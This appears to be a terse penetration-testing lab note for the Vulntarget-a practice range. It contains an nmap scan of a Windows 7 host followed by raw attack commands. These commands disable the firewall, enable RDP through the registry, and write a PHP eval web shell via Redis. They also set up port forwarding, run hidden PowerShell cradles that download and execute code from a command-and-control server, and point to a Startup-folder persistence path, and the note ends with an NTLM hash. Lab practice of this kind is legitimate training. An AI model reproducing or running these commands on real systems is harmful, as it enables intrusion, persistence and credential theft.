Vulntarget-a靶场

PORT      STATE SERVICE      VERSION
80/tcp    open  http         nginx
|_http-title: \xCD\xA8\xB4\xEFOA\xCD\xF8\xC2\xE7\xD6\xC7\xC4\xDC\xB0\xEC\xB9\xAB\xCF\xB5\xCD\xB3
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry 
|_/
110/tcp   open  pop3
| fingerprint-strings: 
|   GenericLines, HTTPOptions: 
|     +OK TDpop3Server 1.0 POP3 Server ready.
|     -ERR An error occured
|   NULL: 
|_    +OK TDpop3Server 1.0 POP3 Server ready.
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
3389/tcp  open  tcpwrapped
|_ssl-date: 2022-06-29T08:51:28+00:00; -1m21s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: WIN7-PC
|   NetBIOS_Domain_Name: WIN7-PC
|   NetBIOS_Computer_Name: WIN7-PC
|   DNS_Domain_Name: win7-PC
|   DNS_Computer_Name: win7-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2022-06-29T08:51:14+00:00
| ssl-cert: Subject: commonName=win7-PC
| Not valid before: 2022-06-27T13:42:35
|_Not valid after:  2022-12-27T13:42:35
5357/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port110-TCP:V=7.92%I=7%D=6/29%Time=62BC129D%P=x86_64-pc-linux-gnu%r(NUL
SF:L,29,"\+OK\x20TDpop3Server\x201\.0\x20POP3\x20Server\x20ready\.\r\n")%r
SF:(GenericLines,40,"\+OK\x20TDpop3Server\x201\.0\x20POP3\x20Server\x20rea
SF:dy\.\r\n-ERR\x20An\x20error\x20occured\r\n")%r(HTTPOptions,40,"\+OK\x20
SF:TDpop3Server\x201\.0\x20POP3\x20Server\x20ready\.\r\n-ERR\x20An\x20erro
SF:r\x20occured\r\n");
MAC Address: 4C:D5:77:CB:F4:99 (Chongqing Fugui Electronics)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: win7-PC
|   NetBIOS computer name: WIN7-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2022-06-29T16:51:13+08:00
| smb2-security-mode: 
|   2.1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: WIN7-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:5f:e9:81 (VMware)
|_clock-skew: mean: -1h37m21s, deviation: 3h34m39s, median: -1m21s
| smb2-time: 
|   date: 2022-06-29T08:51:13
|_  start_date: 2022-06-29T08:50:03

 netsh advfirewall show allprofile state  查看防火墙的当前状态
 netsh advfirewall set  allprofile state off  关闭防火墙

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

config set dir C:/phpStudy/PHPTutorial/WWW/
config set dbfilename ccc1.php
set 1 "<?php eval($_REQUEST[1]);?>"
save

nb -listen 9500 9090
nb -slave 127.0.0.1:9090 cs_server:8181

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://cs_server:8181/a'))"

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.0.20.98:9500/a'))"

C:/Users/win2016/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/

aad3b435b51404eeaad3b435b51404ee:c7c654da31ce51cbeecfef99e637be15